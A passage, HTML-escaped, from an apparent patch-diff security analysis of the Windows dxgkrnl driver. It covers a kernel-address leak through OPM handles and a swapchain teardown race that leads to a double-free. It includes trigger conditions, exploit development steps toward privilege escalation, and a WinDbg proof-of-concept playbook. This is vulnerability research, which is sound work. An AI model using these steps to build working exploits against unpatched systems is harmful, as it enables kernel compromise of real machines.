&lt;span class="mh"&gt;0x1c00d6201&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+0x130&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x130&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00d6208&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;first&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00d620b&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c00d6216&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00d620d&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+0x18&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00d6211&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0x1c00d621d&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00d6213&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;next&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00d6216&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wrapped&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00d6219&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c00d620d&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;more&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nodes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scanning&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00d621b&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;found&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;OpmValidateAdapterHandle&lt;/code&gt; is a boolean validator, not a lookup that returns a caller-influenced node. &lt;code&gt;FindOpmAdapterMapping&lt;/code&gt; is byte-for-byte the same routine in both builds (only its address and internal assertion line numbers shift); it is a relocation, not a fix.&lt;/p&gt;
&lt;h3&gt;Finding 2: Lock Strength (&lt;code&gt;DXGSWAPCHAIN::DestroySurfacesResourcesLocal&lt;/code&gt;, &lt;code&gt;sub_1c02aba68&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub_1c02aba68&lt;/span&gt;
&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1c0027f20&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_342658361__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="n"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;legacy_shared_path&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NEW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;PATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;EXCLUSIVE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;marking&lt;/span&gt;
&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1c0002630&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DXGHANDLETABLELOCKEXCLUSIVE&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ctor&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1c0004488&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DXGAUTOPUSHLOCK&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;dtor&lt;/span&gt;
&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;destroy&lt;/span&gt;

&lt;span class="nl"&gt;legacy_shared_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SHARED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;marking&lt;/span&gt;
&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1c0007018&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DXGPUSHLOCK&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;AcquireShared&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExReleasePushLockSharedEx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="nl"&gt;destroy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1c00ddb58&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DXGGLOBAL&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;DestroySyncObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AFTER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;release&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub_1c02aa8bc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;single&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exclusive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;
&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1c0002630&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DXGHANDLETABLELOCKEXCLUSIVE&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ctor&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1c0004488&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DXGAUTOPUSHLOCK&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;dtor&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;Finding 1 (kernel-address disclosure):
1. Drive the OPM protected-output APIs to reach &lt;code&gt;OpmCreateHandle&lt;/code&gt;.
2. Ensure &lt;code&gt;Feature_2161340729__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1c00259e8&lt;/code&gt;) is OFF (legacy scheme).
3. Observe the returned OPM handle is a kernel pointer (&lt;code&gt;0xFFFF...&lt;/code&gt;) rather than a small opaque counter.&lt;/p&gt;
&lt;p&gt;Finding 2 (double-free / UAF):
1. Ensure &lt;code&gt;Feature_342658361__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1c0027f20&lt;/code&gt;) is OFF (shared-lock path).
2. Create a swapchain with sync objects via D3DKMT swapchain APIs.
3. Issue concurrent swapchain / surface destruction from multiple threads targeting the same surface; the shared-lock path lets two threads both resolve and destroy the same &lt;code&gt;DXGSYNCOBJECT&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitives Provided:&lt;/strong&gt;
- &lt;strong&gt;Finding 1:&lt;/strong&gt; Kernel-address information disclosure only. The OPM handle in the legacy path is the kernel address of the mapping node, usable to defeat KASLR for that pool. There is no write-what-where and no arbitrary read: &lt;code&gt;OpmValidateAdapterHandle&lt;/code&gt; requires an exact list-member pointer, and the unlink is &lt;code&gt;__fastfail&lt;/code&gt;-guarded, so only genuine, validated nodes are ever translated or unlinked.
- &lt;strong&gt;Finding 2:&lt;/strong&gt; Double-free / use-after-free of a &lt;code&gt;DXGSYNCOBJECT&lt;/code&gt;. Two concurrent shared-lock-path threads both free the same object. The freed pool block can be reclaimed with attacker-controlled data (named-pipe or object spray), enabling further corruption.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exploit Development Steps (Finding 2):&lt;/strong&gt;
1. Win the race: two threads calling the swapchain surface teardown on the same handle under the shared-lock (flag OFF) path.
2. Reclaim the freed &lt;code&gt;DXGSYNCOBJECT&lt;/code&gt; pool block between/after the two frees with controlled data.
3. Pivot from the corrupted object (e.g., function pointer or type field) toward a data-only privilege escalation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigations:&lt;/strong&gt;
- &lt;strong&gt;KASLR:&lt;/strong&gt; Finding 1's disclosure directly weakens KASLR for the OPM handle pool.
- &lt;strong&gt;SMEP / SMAP / CFG:&lt;/strong&gt; relevant only to Finding 2's UAF if execution is hijacked via a reclaimed object; data-only reclamation avoids CFG.&lt;/p&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Attach a local kernel debugger (WinDbg/KD) to the unpatched target.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp dxgkrnl_unpatched!Feature_2161340729__private_IsEnabledDeviceUsage   ; sub_1c00259e8
bp dxgkrnl_unpatched!OpmCreateHandle                                    ; sub_1c0175174
bp dxgkrnl_unpatched!OpmValidateAdapterHandle                           ; sub_1c0175044
bp dxgkrnl_unpatched!DestroySurfacesResourcesLocal                      ; sub_1c02aba68
bp dxgkrnl_unpatched!Feature_342658361__private_IsEnabledDeviceUsage    ; sub_1c0027f20
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Address note: in the &lt;strong&gt;patched&lt;/strong&gt; image, &lt;code&gt;0x1c00259e8&lt;/code&gt; is a different function (&lt;code&gt;DXGOVERLAYMUTEX&lt;/code&gt; constructor) due to address reuse. The feature-flag breakpoints above are meaningful only against the unpatched image.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Execution &amp;amp; Inspection:&lt;/strong&gt;
1. &lt;strong&gt;Verify OPM scheme:&lt;/strong&gt; Break &lt;code&gt;sub_1c00259e8&lt;/code&gt;, &lt;code&gt;gu&lt;/code&gt;, inspect &lt;code&gt;eax&lt;/code&gt;. &lt;code&gt;eax == 0&lt;/code&gt; =&amp;gt; legacy raw-pointer-handle path is active.
2. &lt;strong&gt;Observe the disclosed pointer:&lt;/strong&gt; Break &lt;code&gt;OpmCreateHandle&lt;/code&gt;; on the legacy path step to the &lt;code&gt;*a3 = node&lt;/code&gt; store and confirm the handle handed back is a kernel pointer.
3. &lt;strong&gt;Confirm safe validation:&lt;/strong&gt; Break &lt;code&gt;OpmValidateAdapterHandle&lt;/code&gt;. &lt;code&gt;rcx&lt;/code&gt; = adapter, &lt;code&gt;rdx&lt;/code&gt; = candidate handle. Confirm the loop only returns 1 on an exact member match; a non-member value falls through to &lt;code&gt;return 0&lt;/code&gt; (error path, no wrong-object match).
4. &lt;strong&gt;Observe the race path:&lt;/strong&gt; Break &lt;code&gt;sub_1c02aba68&lt;/code&gt;, &lt;code&gt;gu&lt;/code&gt; past &lt;code&gt;sub_1c0027f20&lt;/code&gt;. &lt;code&gt;eax == 0&lt;/code&gt; =&amp;gt; shared-lock path with no &lt;code&gt;0x2000&lt;/code&gt; marking; watch the handle-table entry dword to confirm the marker is absent, then watch two threads both reach &lt;code&gt;DXGGLOBAL::DestroySyncObject&lt;/code&gt; on the same object.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected Observation on Crash (Finding 2):&lt;/strong&gt;
- &lt;code&gt;BAD_POOL_HEADER (0x19)&lt;/code&gt; or &lt;code&gt;BAD_POOL_CALLER (0xC2)&lt;/code&gt; from the double-free of the &lt;code&gt;DXGSYNCOBJECT&lt;/code&gt; pool block, or a delayed use-after-free if the block is reclaimed between frees. Finding 1 produces no crash under normal validation; its only consequence is kernel-address disclosure.&lt;/p&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VmBusOpmRequest (sub_1C0245C70)&lt;/code&gt;&lt;/strong&gt; (0.49 similarity, behavioral): Removed a WIL feature-staging check (&lt;code&gt;Feature_15692090__private_IsEnabledDeviceUsage&lt;/code&gt;, &lt;code&gt;sub_1c0026850&lt;/code&gt;) that gated two VmBus command handling paths. No memory-safety consequence observed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DXGSWAPCHAIN::DestroySurfacesResourcesLocal (sub_1C02ABA68)&lt;/code&gt;&lt;/strong&gt; (0.75 similarity, security-relevant): Removed the shared-lock legacy teardown path; the patch always takes the exclusive handle-table lock and sets the &lt;code&gt;0x2000&lt;/code&gt; in-destruction marker. (Finding 2.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DXGSWAPCHAIN::DestroySurfacesResourcesGlobal (sub_1C02AB988)&lt;/code&gt;&lt;/strong&gt; (0.76 similarity, security-relevant): Removed the flag that skipped the exclusive &lt;code&gt;DXGSYNCOBJECTLOCK&lt;/code&gt; (&lt;code&gt;sub_1c00186fc&lt;/code&gt;); the patch always acquires it and passes &lt;code&gt;arg4=1&lt;/code&gt; to &lt;code&gt;DXGGLOBAL::DestroySyncObject&lt;/code&gt; (&lt;code&gt;sub_1c00ddb58&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ADAPTER_DISPLAY::OpmTranslateHandle (sub_1C0174F34)&lt;/code&gt;&lt;/strong&gt; (0.77 similarity, security-relevant): Removed the dual lookup path; the patch always uses ID-based &lt;code&gt;FindOpmAdapterMapping&lt;/code&gt;. Legacy path validated a raw pointer handle via membership walk. (Finding 1.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ADAPTER_DISPLAY::OpmTranslateAndDestroyHandle (sub_1C0174AA8)&lt;/code&gt;&lt;/strong&gt; (0.79 similarity, security-relevant): Same dual-path removal; additionally unlinks and frees the (validated) node. No wrong-object write. (Finding 1.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ADAPTER_DISPLAY::OpmCreateHandle (sub_1C0175174)&lt;/code&gt;&lt;/strong&gt; (0.86 similarity, security-relevant): Removed the legacy path that returned the raw node pointer as the handle; the patch always generates a unique opaque ID. (Finding 1.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DXGGLOBAL::DestroySyncObject (sub_1C00DDB58)&lt;/code&gt;&lt;/strong&gt; (0.90 similarity, behavioral): Removed feature-staging that gated internal assertion codes (&lt;code&gt;0xac7/0xacb/0xad0&lt;/code&gt; vs &lt;code&gt;0xac6/0xaca&lt;/code&gt;). Core destruction logic unchanged.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DXG_HOST_VIRTUALGPU_VMBUS::VmBusGetRegistryKeys (sub_1C02430A0)&lt;/code&gt;&lt;/strong&gt; (0.97 similarity, cosmetic): Call-target address shifts plus one removed WIL feature-staging check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VIDPN_MGR::BuildSetTimingsPathInfoFromClientVidPn (sub_1C0142590)&lt;/code&gt;&lt;/strong&gt; (0.98 similarity, cosmetic): Address-reference shifts due to binary layout differences.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
